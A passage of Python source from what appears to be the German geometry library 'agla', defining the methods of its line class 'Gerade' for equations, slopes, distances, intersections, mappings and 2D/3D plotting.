isinstance(args[2], Symbol):\n                    parameter = args[2]\t\n                else:\n                    raise AglaError(\"der Bezeichner muss frei sein\")\t\n                if parameter in stuetz.free_symbols | richt.free_symbols:\n                    raise AglaError(\"der Parameter ist in den Vektoren enthalten\")\t\t\t\n            else: \n                parameter = Symbol(\"t\")                   \n            if stuetz.dim in (2, 3):\t\n                sx, sy, rx, ry = [nsimplify(e) for e in (stuetz.x, stuetz.y, \n                                richt.x, richt.y)]\n                if stuetz.dim == 3:\t\n                    sz, rz = nsimplify(stuetz.z), nsimplify(richt.z)\n                    stuetz, richt = Vektor(sx, sy, sz), Vektor(rx, ry, rz)\n                else:\t\t\t\t\t\n                    stuetz, richt = Vektor(sx, sy), Vektor(rx, ry)\n                stuetz = Vektor([nsimplify(k) for k in stuetz.komp])\n                richt = Vektor([nsimplify(k) for k in richt.komp])   \n                return AglaObjekt.__new__(cls, stuetz, richt, parameter)\n            else:\n                txt = \"Geraden sind nur in R^2 und R^3 erzeugbar\"\n                raise AglaError(txt)\n\n        except AglaError as e:\n            print('agla:', str(e))\n            return\t\t\t\n   \n    def __str__(self):  \n        par = self.sch_par\n        if len(par) > 0:\n            ss = str([el for el in par]).replace('[', '')\n            ss = ss.replace(']', '')\n            return \"Geradenschar(\" + ss + \")\"\n        return \"Gerade\"\t\t\t\n\n\t\t\t\t \n# F\u00fcr Geraden in R^3 und R^2 gemeinsame Eigenschaften + Methoden\n# --------------------------------------------------------------\n\t\t\n    @property\n    def dim(self):              \n        \"\"\"Dimension\"\"\"\n        a = self.args[0]\n        if isinstance(a, Vektor) and a.dim == 3:\n            return 3\n        return 2\n\t\t\n    @property\n    def stuetz(self):              \n        \"\"\"St\u00fctzvektor\"\"\"\n        a = self.args[0]\n        if self.dim == 3:\n            return a\n        if isinstance(a, Vektor):\n            return a\n        a, b, c = self.args[:3]\n        if b:\n            return Vektor(0, nsimplify(-c / b))\n        return Vektor(nsimplify(-c / a), 0)\n\t\t\n    auf_pkt = stuetz\n    aufPkt = stuetz\t\t\n            \n    @property\t\n    def richt(self):              \n        \"\"\"Richtungsvektor\"\"\"\n        a = self.args[0]\n        if self.dim == 3:\n            return self.args[1]\n        if isinstance(a, Vektor):\n            return self.args[1]\n        return Vektor(self.args[1], -self.args[0])\n\t\t\t\t\n    @property\t\n    def norm(self):              \n        \"\"\"Normalenvektor\"\"\"\n        if self.dim == 3:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return \n        ri = self.richt\n        return Vektor(-ri.y, ri.x)\n\t\t\n    @property\t\t\t\n    def par(self):              \n        \"\"\"Parameter der Geraden\"\"\"\n        return self.args[-1]\n\n    @property\t\t\t\n    def sch_par(self):              \n        \"\"\"Scharparameter\"\"\"\n        return self.stuetz.free_symbols.union(self.richt.free_symbols)\n\t\n    schPar = sch_par\t\n\t\n    @property\t\t\n    def is_schar(self):              \n        \"\"\"Test auf Schar\"\"\"\n        return len(self.sch_par) == 1\n\t\t\n    isSchar = is_schar\t\t\n\t\t\n    @property\t\t\n    def punkte(self):              \n        \"\"\"Zwei Geradenpunkte\"\"\"\n        return self.stuetz, self.stuetz + self.richt\t\t\n    def punkte_(self, **kwargs): \n        if kwargs.get('h'):\n            print(\"\\nAusgabe: Punkte mit den Parameterwerten 0 und 1\\n\")\n            return\n        return self.pkt(0), self.pkt(1)\t\t\t\n\t\t\n    Punkte = punkte_\n\t\n    @property\t\t\n    def prg(self):              \n        \"\"\"Parametergleichung; nur zur Ausgabe\"\"\"\n        x, y, z = Symbol('x'), Symbol('y'), Symbol('z')\n        if self.dim == 3:\t\t\n            t0 = latex(Vektor(x, y, z)) + latex('=')\n        else:\n            t0 = latex(Vektor(x, y)) + latex('=')\t\t\n        t1 = latex(self.stuetz) + latex('+')\n        t2 = latex(self.par) + '\\,' + latex(self.richt)\n        return display(Math(t0 + t1 + t2)) \n    def prg_(self, *punkt, **kwargs): \n        \"\"\"zugeh\u00f6rige Methode; Auswertung in einem Punkt\"\"\"\n        if kwargs.get('h'):\n            print('\\nAngabe eines Punktes - Auswertung der Gleichung in diesem\\n')\n            return\t\n        try:\t\t\t\n            if len(punkt) != 1:\n                raise AglaError('einen Punkt angeben')\n            punkt = punkt[0]\n            if not isinstance(punkt, Vektor):\n                raise AglaError('einen Punkt angeben')\t\t\t\n            if punkt.dim == self.dim:\n                _r = Symbol('_r')\t\t\t\n                p = self.pkt(_r)\n                ll = loese(p - punkt, _r)\n                if not ll:\n                    lat = latex('\\\\text{die Gleichung ist nicht erf\u00fcllt}')\n                    return display(Math(lat))\n                else:\n                    lat = latex('\\\\text{die Gleichung ist erf\u00fcllt }') + \\\n                          latex('[') + latex(self.par) + latex('=') + \\\n                          latex(ll[_r]) + latex(']')\t\n                    return display(Math(lat))\n            else:\n                raise AglaError('der Punkt hat nicht die richtige Dimension')\t\t\t\n        except AglaError as e:\n            print('agla:', str(e))\n            return\t\t\t\n\n    Prg = prg_\t\t\t\n\t\t\t\n    gleich = prg\n    gleich_ = prg_\t\n    Gleich = prg_\t\n\t\t\n    @property\t\t\n    def koord(self):              \n        \"\"\"Koordinatengleichung\"\"\"\n        if self.dim == 3:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return\t\t\t\n        x, y = Symbol('x'), Symbol('y')\n        arg = self.args\n        if not isinstance(arg[0], Vektor): \n            a, b, c = arg[:3]\n            gl = Gleichung(a*x + b*y + c, 0)\t\t\n        else:\n            st, ri = arg[:2]\t\t\n            n = Vektor(-ri.y, ri.x)\n            gl = Gleichung(n.x*x + n.y*y - n.sp(st), 0)\t\t\n        return gl\n    def koord_(self, *punkt, **kwargs): \n        \"\"\"zugeh\u00f6rige Methode; Auswertung in einem Punkt\"\"\"\n        if self.dim == 3:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return\t\t\t\n        if kwargs.get('h'):\n            print('\\nAngabe eines Punktes - Auswertung der Gleichung in diesem\\n')\n            return\t\n        try:\t\t\t\n            if len(punkt) != 1:\n                raise AglaError('einen Punkt angeben')\n            punkt = punkt[0]\n            if not isinstance(punkt, Vektor):\n                raise AglaError('einen Punkt angeben')\t\t\t\n            if isinstance(punkt, Vektor) and punkt.dim == self.dim:\n                _r = Symbol('_r')\t\t\t\t\n                p = self.pkt(_r)\n                ll = loese(p - punkt, _r)\n                if not ll:\n                    lat = latex('\\\\text{die Gleichung ist nicht erf\u00fcllt}')\n                    return display(Math(lat))\n                else:\n                    lat = latex('\\\\text{die Gleichung ist erf\u00fcllt}') \n                    return display(Math(lat))\n            else:\t\t\t\t\t\n                raise AglaError('einen Punkt der Ebene angeben')\n        except AglaError as e:\n            print('agla:', str(e))\n            return\t\t\t\n\n    Koord = koord_\n\t\n    @property\n    def nf(self):\n        \"\"\"Gleichung in Normalenform; nur zur Ausgabe\"\"\"\n        if self.dim != 2:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return\t\t\t\n        x, y = Symbol('x'), Symbol('y')\t\n        lat = latex('\\\\left[') + latex(Vektor(x, y)) +'-' + \\\n\t\t       latex(self.stuetz) + latex('\\\\right]') + latex('\\circ') + \\\n\t\t\t    latex(self.norm) + latex('=') + latex(0) \n        return display(Math(lat))\n    def nf_(self, *punkt, **kwargs): \n        \"\"\"zugeh\u00f6rige Methode; Auswertung in einem Punkt\"\"\"\t\n        if self.dim == 3:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return\t\t\t\n        if kwargs.get('h'):\n            print('\\nAngabe eines Punktes - Auswertung der Gleichung in diesem')\n            print('k = 1 - Ausgabe der Koordinatengleichung\\n')\n            return\t\n        if kwargs.get('k'):\n            return self.koord\t\n        try:\t\t\t\n            if len(punkt) != 1:\n                raise AglaError(\"einen Punkt angeben\")\n            punkt = punkt[0]\n            if isinstance(punkt, Vektor) and punkt.dim == 2:\n                x, y = Symbol('x'), Symbol('y')\n                gl = (Vektor(x, y) -self.stuetz) * self.norm      \n                gl = gl.subs({x:punkt.x, y:punkt.y})\n                if simplify(gl) == 0:\n                    lat = latex('\\\\text{die Gleichung ist erf\u00fcllt}')\t\t\t\t\n                    return display(Math(lat))\n                else:\n                    lat = latex('\\\\text{die Gleichung ist nicht erf\u00fcllt}')\t\t\t\t\n                    return display(Math(lat))\n                return\n            else:\n                raise AglaError(\"Punkt im Raum angeben\")\n        except AglaError as e:\n            print('agla:', str(e))\n            return\t\t\t\n\n    Nf = nf_\n\t\n    @property\t\t\t\n    def hnf(self):\n        \"\"\"Hessesche Normalenform; nur zur Ausgabe\"\"\"\n        if self.dim != 2:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return\t\t\t\n        x, y = Symbol('x'), Symbol('y')\t\n        lat = latex('\\\\left[') + latex(Vektor(x, y)) +'-' + \\\n\t\t       latex(self.stuetz) + latex('\\\\right]') + latex('\\circ') + \\\n              (latex(1/self.norm.betrag) if self.norm.betrag != 1 else '') \\\n\t\t\t    + latex(self.norm) + latex('=') + latex(0) \n        return display(Math(lat))\n\t\t\n    @property\t\t\n    def fkt(self):              \n        \"\"\"Funktionsgleichung; nur zur Ausgabe\"\"\"\n        if self.dim != 2:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return\t\t\t\n        x, y = Symbol('x'), Symbol('y')\n        arg = self.args\n        if not isinstance(arg[0], Vektor): \n            a, b, c = arg[:3]\n        else:\n            st, ri = self.args[:2]\n            n = Vektor(-ri.y, ri.x)\t\t\t\n            a, b, c = n.x, n.y, - n.sp(st)\n        if not b:\n            print('agla: die Funktionsgleichung ist nicht definiert')\n            return\n        gl = Gleichung(y, nsimplify(expand((-a*x - c) / b)))\t\t\n        return gl\n    def fkt_(self, *punkt, **kwargs): \n        \"\"\"zugeh\u00f6rige Methode; Auswertung in einem Punkt\"\"\"\n        if self.dim != 2:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return\t\t\t\n        if kwargs.get('h'):\n            print('\\nAngabe eines Punktes - Auswertung der Gleichung in diesem\\n')\n            return\t\n        try:\t\t\t\n            if len(punkt) != 1:\n                raise AglaError('einen Punkt angeben')\n            punkt = punkt[0]\n            if not isinstance(punkt, Vektor):\n                raise AglaError('einen Punkt angeben')\t\t\t\n            if isinstance(punkt, Vektor) and punkt.dim == self.dim:\n                _r = Symbol('_r')\t\t\t\n                p = self.pkt(_r)\n                ll = loese(p - punkt, _r)\n                if not ll:\n                    lat = latex('\\\\text{die Gleichung ist nicht erf\u00fcllt}')\n                    return display(Math(lat))\n                else:\n                    lat = latex('\\\\text{die Gleichung ist erf\u00fcllt}') \n                    return display(Math(lat))\n            else:\t\t\t\t\t\n                raise AglaError('einen Punkt der Ebene angeben')\n        except AglaError as e:\n            print('agla:', str(e))\n            return\n\t\t\t\n    Fkt = fkt_\n\t\n    @property\n    def anstieg(self):\n        \"\"\"Anstieg\"\"\"\t\n        if self.dim != 2:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return\t\t\t\n        args = self.args\n        m = None\n        if not isinstance(args[0], Vektor):\t\n            if args[1]:\n                m = -args[0] / args[1]\t\t\t\n                try:\t\t\t\t\t\n                    m = nsimplify(m)\n                except RecursionError:\n                    pass\t\t\t\t\t\n        else:\t\n            ri = args[1]\t\t\n            if ri.x:\n                m = ri.y / ri.x\t\t\t\n                try:\t\t\t\t\t\n                    m = nsimplify(m)\n                except RecursionError:\n                    pass\t\t\t\t\t\n        if m is not None:\n            return m\t\t\n        print('agla: der Anstieg ist nicht definiert')\n\t\t\n    m = anstieg\t\t\n\t\t\n\t\t\n    @property\n    def y_abschn(self):\n        \"\"\"Abschnitt auf der *y* -Achse\"\"\"\t\n        if self.dim != 2:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return\t\t\t\n        args = self.args\n        n = None\n        if not isinstance(args[0], Vektor):\t\t\n            if args[1]:\n                n = -args[2] / args[1]\t\t\t\n                try:\t\t\t\t\t\n                    n = nsimplify(n)\n                except RecursionError:\n                    pass\t\t\t\t\t\n        else:\n            st, ri = args[:2]\t\t\n            if ri.x:\n                n = st.y - st.x / ri.x * ri.y\n                try:\t\t\t\t\t\n                    n = nsimplify(n)\n                except RecursionError:\n                    pass\t\t\t\t\t\n        if n is not None:\n            return n\t\t\n        print('agla: der Abschnitt auf der y-Achse ist nicht definiert')\n\t\t\n    n = yAbschn = y_abschn\n\t\n    @property\n    def aagl(self):\n        \"\"\"Achsenabschnittsgleichung\"\"\"\n        if self.dim != 2:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return\t\t\t\n        args = self.args\n        if args[2]:\n            x, y = Symbol('x'), Symbol('y')\t\t\t\n        args = self.args\n        gl = None\n        if not isinstance(args[0], Vektor): \n            if args[2]:\t\t\n                a = -args[0] / args[2]\n                b = -args[1] / args[2]\t\n                try:\n                    a, b = nsimplify(a), nsimplify(b)\t\t\n                except RecursionError:\n                    pass\t\t\t\t\t\n                gl = Gleichung(a*x + b*y, 1) \n        else:\n            st, ri = args[:2]\t\t\n            n = Vektor(-ri.y, ri.x)\n            if n.sp(st):\t\t\n                a = n.x / n.sp(st)\t\t\n                b = n.y / n.sp(st)\t\t\t\n                try:\n                    a, b = nsimplify(a), nsimplify(b)\t\t\n                except RecursionError:\n                    pass\t\t\t\t\t\n                gl = Gleichung(a*x + b*y, 1) \n        if gl is None:          \t\t\t\n            display(Math('\\\\text{die Achsenabschnittsgleichung ist nicht definiert}'))\n        return gl\t\t\t\n\t\n\t\t\n    @property\t\t\n    def spur_xy(self):\n        \"\"\"Spur in der *xy* - Ebene\"\"\"\t\n        if self.dim != 3:\n            print('agla: nur f\u00fcr Geraden in R^3 definiert')\t\t\n            return\t\t\n        xy_ebene = importlib.import_module('agla.lib.objekte.ebene').xy_ebene\t\n        return self.schnitt(xy_ebene)\n\t\t\n    spurXY = spur_xy\t\t\n\t\t\n    @property\t\t\n    def spur_xz(self):\n        \"\"\"Spur in der *xz* - Ebene\"\"\"\t\n        if self.dim != 3:\n            print('agla: nur f\u00fcr Geraden in R^3 definiert')\t\t\n            return\t\t\n        xz_ebene = importlib.import_module('agla.lib.objekte.ebene').xz_ebene\t\n        return self.schnitt(xz_ebene)\n\n    spurXZ = spur_xz\t\t\n\t\t\n    @property\t\t\t\t\n    def spur_yz(self):\n        \"\"\"Spur in der *yz* - SEbene\"\"\"\t\n        if self.dim != 3:\n            print('agla: nur f\u00fcr Geraden in R^3 definiert')\t\t\n            return\t\t\n        yz_ebene = importlib.import_module('agla.lib.objekte.ebene').yz_ebene\t\n        return self.schnitt(yz_ebene)  \t\t\n\t\t\n    spurYZ = spur_yz\t\t\n\t\t\t\n    def sch_el(self, *wert, **kwargs):\n        \"\"\"Element einer Schar; f\u00fcr einen Parameter\"\"\"\n        try:\n\t\t\n            if not self.is_schar or len(self.sch_par) > 1:\n                raise AglaError(\"keine Schar mit einem Parameter\")\t\t\t\n\t\t\n            if kwargs.get('h'):\n                print(\"\\nElement einer Schar von Geraden\\n\")\t\t\n                print(\"Aufruf   gerade . sch_el( wert )\\n\")\t\t                     \n                print(\"             gerade    Gerade\")\n                print(\"             wert      Wert des Scharparameters\")\t\t\t\n                print(\"\\nEs ist nur ein Scharparameter zugelassen\\n\")    \n                return \n\t\t\t\n            if not wert or len(wert) != 1:\n                raise AglaError(\"einen Wert f\u00fcr den Scharparameter angeben\")\n        except AglaError as e:\n            print('agla:', str(e))\n            return\n\t\t\t\n        p = Tuple(*self.sch_par)[0]\n        wert = sympify(*wert)\n        if not is_zahl(wert):\n            print('agla: f\u00fcr den Scharparameter Zahl oder freien Parameter \\\n\t\t\t         angeben')\t\n            return\t\t\n        stuetz = Vektor([k.subs(p, wert) for k in self.stuetz.komp])\n        richt = Vektor([k.subs(p, wert) for k in self.richt.komp])\t\t\n        return Gerade(stuetz, richt, self.par)\t\t\t\n\t\t\n    schEl = sch_el\n\t\n\t\t\n    def abstand(self, *objekt, **kwargs):\t\n        \"\"\"Abstand zu einem anderen Objekt\"\"\"\n\t\t\n        if kwargs.get('h'):\n            print(\"\\nAbstand der Geraden zu einem anderen Objekt\\n\")\t\t\n            print(\"Aufruf   gerade . abstand( objekt )\\n\")\t\t                     \n            print(\"             gerade    Gerade\")\n            print(\"             objekt    Punkt, Gerade, Ebene, Kugel  (im Raum R^3)\")\t\t\n            print(\"                       Punkt, Gerade  (in der Ebene R^2)\\n\")\t\t\n            print(\"R\u00fcckgabe 0, wenn gerade und objekt sich schneiden\\n\")\t\t\n            print(\"Zusatz       d=n   Dezimaldarstellung\")\n            print(\"                   n - Anzahl der Nachkomma-/Stellen\\n\")\n            return\n\t\n        if len(objekt) != 1:\n            print('agla: ein Objekt angeben')\n            return\n\t\t\t\n        objekt = objekt[0]\n        if\t self.dim == 3:\n            Ebene = importlib.import_module('agla.lib.objekte.ebene').Ebene\t\n            Kugel = importlib.import_module('agla.lib.objekte.kugel').Kugel\n            if not isinstance(objekt, (Vektor, Gerade, Ebene, Kugel)):\t\t\t\n                print('agla: Punkt, Gerade, Ebene oder Kugel angeben')\n                return\t\t\t\n\t\t\t\n            if isinstance(objekt, Vektor):   # Gerade - Punkt\n                q = self.stuetz\n                m = self.richt.einh_vekt\n                wert = sqrt(((objekt - q) * (objekt - q) - \\\n                                        (m * (objekt - q))**2))\n            elif isinstance(objekt, Gerade):   # Gerade - Gerade\n                if objekt.dim == 3:\n                    if objekt.richt.kollinear(self.richt):     \n                        if objekt.stuetz.abstand(self) == 0:   \n                            wert = 0\n                        else:                                \n                            wert = objekt.stuetz.abstand(self)\n                    else:\n                        if objekt.schnitt(self):\n                            wert = 0\n                        else: \n                            e = Ebene(objekt.stuetz, objekt.richt, self.richt)\n                            wert = self.stuetz.abstand(e)\t\n                else:\n                    print('agla: die Gerade hat nicht die richtige Dimension')\n                    return\t\t\t\t\t\n            else:\n                wert = objekt.abstand(self)\n\t\t\t\t\n        if self.dim == 2:\n            if not isinstance(objekt, (Vektor, Gerade)):\n                print('agla: Punkt oder Gerade angeben')\n                return\t\t\t\t\n            st, ri = self.stuetz, self.richt\n            st, ri = Vektor(st.x, st.y, 0), Vektor(ri.x, ri.y, 0)\n            g3 = Gerade(st, ri)\t\t\t\n            if isinstance(objekt, Vektor):\n                o3 = Vektor(objekt.x, objekt.y, 0)\t\n            else:\n                if objekt.dim != 2:\t\t\t\n                    print('agla: die Gerade hat nicht die richtige Dimension')\n                    return\t\t\t\t\t\n                st, ri = objekt.stuetz, objekt.richt\n                st, ri = Vektor(st.x, st.y, 0), Vektor(ri.x, ri.y, 0)\n                o3 = Gerade(st, ri)\n            wert = g3.abstand(o3)\t\t\t\t\n                \t\t\t\n        d = kwargs.get('d')\n        if not isinstance(d, (Integer, int)) or d < 0:\n            return wert\n        return wert_ausgabe(wert, d)\n\t\t\t\n\t\t\t\n    def bild(self, *abb, **kwargs):\t\n        \"\"\"Bild bei einer Abbildung\"\"\"\n\t\t\n        if kwargs.get('h'):\n            print(\"\\nBildgerade bei einer Abbildung\\n\")\t\t\n            print(\"Aufruf   gerade . bild( abb )\\n\")\t\t                     \n            print(\"             gerade    Gerade\")\n            print(\"             abb       Abbildung\\n\")\t\t\n            return\n\t\n        try:\t\n            if len(abb) != 1:\n                raise AglaError(\"eine Abbildung angeben\")\n            abb = abb[0]\n            Abbildung = importlib.import_module('agla.lib.objekte.abbildung').Abbildung\t\n            if not isinstance(abb, Abbildung):\n                raise AglaError(\"eine Abbildung angeben\")\t\t\t\n            if abb.dim != self.dim:\n                raise AglaError(\"die Dimensionen sind unterschiedlich\")\t\t\n        except AglaError as e:\n            print('agla:', str(e))\n            return\n        p, q = self.punkte\n        p1 = abb.matrix*p + abb.versch\n        q1 = abb.matrix*q + abb.versch\n        if p1 != q1:\n            return Gerade(p1, Vektor(p1, q1))\n        else:\n            return p1\t\t\t\t\t\n\t\t\n\n    def graf(self, spez, **kwargs):                       \n        \"\"\"Grafikelement f\u00fcr Gerade\"\"\"\t\n        if self.dim == 3:\n            if UMG.grafik_3d == 'mayavi':\n                return self.mayavi(spez, **kwargs)\n            else:\t\t\t\t\n                return self.vispy(spez, **kwargs)\n        else:\n            return self.graf2(spez, **kwargs)\n  \t\t\t\n    def mayavi(self, spez, **kwargs):                       \n        \"\"\"Grafikelement f\u00fcr Gerade in R^3 mit mayavi\"\"\"\t\t\t\n\t\t\t\t\n        lin_farbe = UMG._default_lin_farbe if spez[1] == 'default' else spez[1]\t\t\n        lin_staerke = UMG._default_lin_staerke if spez[2] == 'default' else \\\n\t\t              spez[2][1]\n\t\t\t\t\t  \n        anim = False\t\t\t\n        if spez[3]:\n            anim = True            \n            aber = spez[3]\t\n\t\t\t\n        xl, xr, yl, yr, zl, zr = [x for x in list(UMG._sicht_box)]\t\t\t\t\n        def par_werte(gerade):\n            Ebene = importlib.import_module('agla.lib.objekte.ebene').Ebene\t\n            eb = [ Ebene(1,0,0,-xl), Ebene(1,0,0,-xr), Ebene(0,1,0,-yl), \n\t\t            Ebene(0,1,0,-yr), Ebene(0,0,1,-zl), Ebene(0,0,1,-zr) ]\n            x, y, z, t = Symbol(\"x\"), Symbol(\"y\"), Symbol(\"z\"), Symbol('t')\n            p = gerade.pkt(t)\n            li = []\n            for e in eb:\n                gl = e.koord_(Vektor(0,0,0), ausgabe=False).subs(x, p.x).\\\n                        subs(y, p.y).subs(z, p.z)\n                if  gl.lhs.has(t):\n                    li1 = solve(gl.lhs)\n                    li += [[li1[0], gerade.pkt(li1[0])]]\n            li1 = []\t\t\t\t\n            for el in li:\n                p = el[1].dez\n                if (xl<=p.x<=xr) and (yl<=p.y<=yr) and (zl<=p.z<=zr):\n                    li1 += [el[0]]\n            tmin, tmax = Min(*li1), Max(*li1)\n            return tmin, tmax\n\t\t\t\n        if not anim:\t\t\t\n            tmin, tmax = par_werte(self)\n            p, q = self.pkt(tmin), self.pkt(tmax)\n            x, y, z = [float(p.x), float(q.x)], [float(p.y), float(q.y)], \\\n                     [float(p.z), float(q.z)] \n            return mlab.plot3d(x, y, z, line_width=lin_staerke, \n                            color=lin_farbe, tube_radius=None)      \n        else:\n\t\t\n            # Da mlab.plot3d(..., extent=...) nicht funktioniert, m\u00fcssen f\u00fcr jeden \n            # Wert aus dem Parameterbereich die Schnittpunkte der Geraden mit den \n            # Ebenen, die die Sichtbox begrenzen, berechnet werden\n\t\t\t\n            print('agla: lange Rechenzeit')\n\t\t\t\n            if len(aber) == 3:\n                N = aber[2]\n            else:\n                N = 20\t\t\t\t\t\t\n            aa = np.linspace(float(aber[0]), float(aber[1]), N)  \n            xa, ya, za = [], [], []\n            x, y, z, b_, t = symbols('x y z b_ t')\t\t\t\n            gg = self.sch_el(b_)\t\t\t\n            xx, yy, zz = gg.pkt(t).komp\n            xs, ys, zs = repr(xx), repr(yy), repr(zz)\n\n            from numpy import sin, cos, tan, abs, log, arcsin, arccos, arctan, \\\n               sinh, cosh, tanh, arcsinh, arccosh, arctanh, sqrt, exp, pi\n            tab = _funkt_sympy2numpy \t\t\t   \n            for tt in tab:\n                if tt in xs:\t\t\t\n                    xs = xs.replace(tt, tab[tt]) \n                if tt in ys:\t\t\t\t\n                    ys = ys.replace(tt, tab[tt]) \n                if tt in zs:\t\t\t\t\t\n                    zs = zs.replace(tt, tab[tt])\n            ebenen = [x-xl, x-xr, y-yl, y-yr, z-zl, z-zr]\n            i, tol = 0, 1e-6\n            typ = (int, Integer, float, Float)\t\t\t\n            for bb in aa:\n                bb = '(' + str(bb) + ')'\n                sx = eval(xs.replace('b_', bb))\n                sy = eval(ys.replace('b_', bb))\n                sz = eval(zs.replace('b_', bb))\n                tt = []\n                for e in ebenen:\n                    gl = e.subs([(x, sx), (y, sy), (z, sz)])\n                    L = loese(gl)\n                    if L:\t\t\t\t\t\n                        tt += [L[t]]\t\t\t\n                tt = [s for s in tt if \n                     xl-tol<=(sx if isinstance(sx, typ) else sx.subs(t, s))<=\n                                                             xr+tol and \n\t                  yl-tol<=(sy if isinstance(sy, typ) else sy.subs(t, s))<=\n                                                             yr+tol and \n                     zl-tol<=(sz if isinstance(sz, typ) else sz.subs(t, s))<=\n                                                                zr+tol]\t\n                if not tt:\n                    xa += [[0, 0]]\t\t\t\t\n                    ya += [[0, 0]]\t\t\t\t\n                    za += [[0, 0]]\n                    i += 1\t\t\t\t\t \t\t\t\t\t\n                    continue\t\t\t\t\n                tmin = Min(*tt)\n                tmax = Max(*tt)\t\t\n                if isinstance(sx, typ):\t\t\n                    xa += [[float(sx), float(sx)]]\n                else:\t\t\t\t\t\n                    xa += [[float(sx.subs(t, tmin)), float(sx.subs(t, tmax))]]\n                if isinstance(sy, typ):\t\t\n                    ya += [[float(sy), float(sy)]]\n                else:\t\t\t\t\t \n                    ya += [[float(sy.subs(t, tmin)), float(sy.subs(t, tmax))]]\n                if isinstance(sz, typ):\t\t\n                    za += [[float(sz), float(sz)]]\n                else:\t\t\t\t\t\n                    za += [[float(sz.subs(t, tmin)), float(sz.subs(t, tmax))]]\n            plt = mlab.plot3d(xa[0], ya[0], za[0], line_width=lin_staerke, \n                     color=lin_farbe, tube_radius=None) \n            return plt, (xa[1:], ya[1:], za[1:]), N-1\t\n\t\t\t\t\t \t\t\n\t\t\t\t\t\t\t\n    def vispy(self, spez, **kwargs):                       \n        \"\"\"Grafikelement f\u00fcr Gerade in R^3 mit vispy\"\"\"\t\n\t\t\n        pass\t\t\n\t\t\t\t\n\t\t\t\n    def graf2(self, spez, **kwargs):                       \n        \"\"\"Grafikelement f\u00fcr Gerade in R^2\"\"\"\t\n\t\t\t\t\t\t\n        lin_farbe = UMG._default_lin_farbe2 if spez[1] == 'default' else \\\n\t\t            spez[1]\t\t\n        lin_staerke = UMG._default_lin_staerke2 if spez[2] == 'default' \\\n\t\t              else spez[2][3]\n\t\t\n        anim = False\t\t\t\n        if spez[3]:\n            anim = True            \n            aber = spez[3]\t\t\t\n\t\t\n        if not anim:\t\t\t\n            tmin, tmax = -1000, 1000\n            p, q = self.pkt(tmin), self.pkt(tmax)\n            x, y = [float(p.x), float(q.x)], [float(p.y), float(q.y)]\n            return plt.plot(x, y, linewidth=lin_staerke, \n                            color=lin_farbe)      \t\n\t\t\n\t\n    def schnitt(self, *objekt, **kwargs):\n        \"\"\"\"Schnitt mit anderen Objekten\"\"\"\n\t\t\t\t\n        if kwargs.get('h'):\n            print(\"\\nSchnitt der Geraden mit einem anderen Objekt\\n\")\t\t\n            print(\"Aufruf   gerade . schnitt( objekt )\\n\")\t\t                     \n            print(\"             gerade    Gerade\")\n            print(\"             objekt    Punkt, Gerade, Ebene, Kugel, Strecke, \")\n            print(\"                       Dreieck, Viereck \" + \\\n\t\t\t       \"im Raum R^3)\")\n            print(\"                       Punkt, Gerade, Strecke, Kreis \")\n            print(\"                                              \" + \\\n\t\t\t      \"in der Ebene R^2\")\n            print(\"Zusatz       l=1   Lageinformationen\\n\")\t\t\t\n            return\n\t\t\t\n        Strecke = importlib.import_module('agla.lib.objekte.strecke').Strecke\t\n\t\t\n        if self.dim == 3: \t\n\t\t\n            Ebene = importlib.import_module('agla.lib.objekte.ebene').Ebene\t\n            Kugel = importlib.import_module('agla.lib.objekte.kugel').Kugel\n            Dreieck = importlib.import_module('agla.lib.objekte.dreieck').Dreieck\t\n            Viereck = importlib.import_module('agla.lib.objekte.viereck').Viereck\t\n\t\t\t\n            try:\t\n                if not objekt:\n                    raise AglaError(\"ein Objekt angeben\")\n                if len(objekt) != 1:\n                    raise AglaError('ein Objekt angeben')\t\t\t\t\t\n                objekt = objekt[0]\t\n                if not isinstance(objekt, (Vektor, Gerade, Ebene, Kugel, \\\n\t\t\t\t         Strecke, Dreieck, Viereck)):\n                    raise AglaError(\"Vektor, Gerade, Ebene, Kugel, \" + \\\n\t\t\t\t\t         \"Strecke, Dreieck oder Viereck angeben\")\n                if self.dim != objekt.dim:\n                    raise AglaError(\"die Objekte haben unterschiedliche Dimension\")      \t\t\t\t\n            except AglaError as e:\t\t\n                print('agla:', str(e))\n                return\n            if isinstance(objekt, Vektor):\n                t = Symbol('t')\t\t\t\t\n                L = loese(self.pkt(t) - objekt) \t\t\t\t\n                if L:\n                    if kwargs.get('l'):\n                        lat = latex('\\\\text{der Punkt liegt auf der Geraden}')\t\t\n                        display(Math(lat))\t\t\t\t\t\n                        return \n                    return objekt\n                if kwargs.get('l'):\n                    lat = latex('\\\\text{der Punkt liegt nicht auf der ' + \\\n\t\t\t\t\t'Geraden}')\t\t\n                    display(Math(lat))\t\t\t\t\t\n                    return \n                return set()\n            elif isinstance(objekt, Gerade):\n                r, s = Symbol(\"r\"), Symbol(\"s\")\n                p, q = objekt.pkt(r), self.pkt(s)\n                try:\n                    di = solve([p.x - q.x, p.y -  q.y, p.z - q.z], [r, s])\n                except RuntimeError:\n                    from sympy import N\n                    di = solve([N(p.x - q.x), N(p.y -  q.y), \\\n                               N(p.z - q.z)], [r, s])\t\t\t\t\n                if not di:                   \n                    if kwargs.get('l'):\n                        if kollinear(self.richt, objekt.richt):\n                            zusatz = '\\\\text{parallel}'\n                        else:\n                            zusatz = '\\\\text{windschief}'\n                        lat = latex('\\\\text{die Geraden schneiden sich }') + \\\n\t\t\t\t\t             latex('\\\\text{nicht, sie sind }' + zusatz)\t\t\t\t\t\t\n                        display(Math(lat))\n                        return\t\t\t\t\t\n                    return set()             \n                elif len(di)  == 1:\n                    if kwargs.get('l'):\n                        lat = latex('\\\\text{die Geraden sind identisch}')\n                        display(Math(lat))\n                        return\t\t\t\t\t\n                    return self\n                if kwargs.get('l'):\n                    lat = latex('\\\\text{die Geraden schneiden sich im }') + \\\n                          latex('\\\\text{Punkt}')\n                    pp = 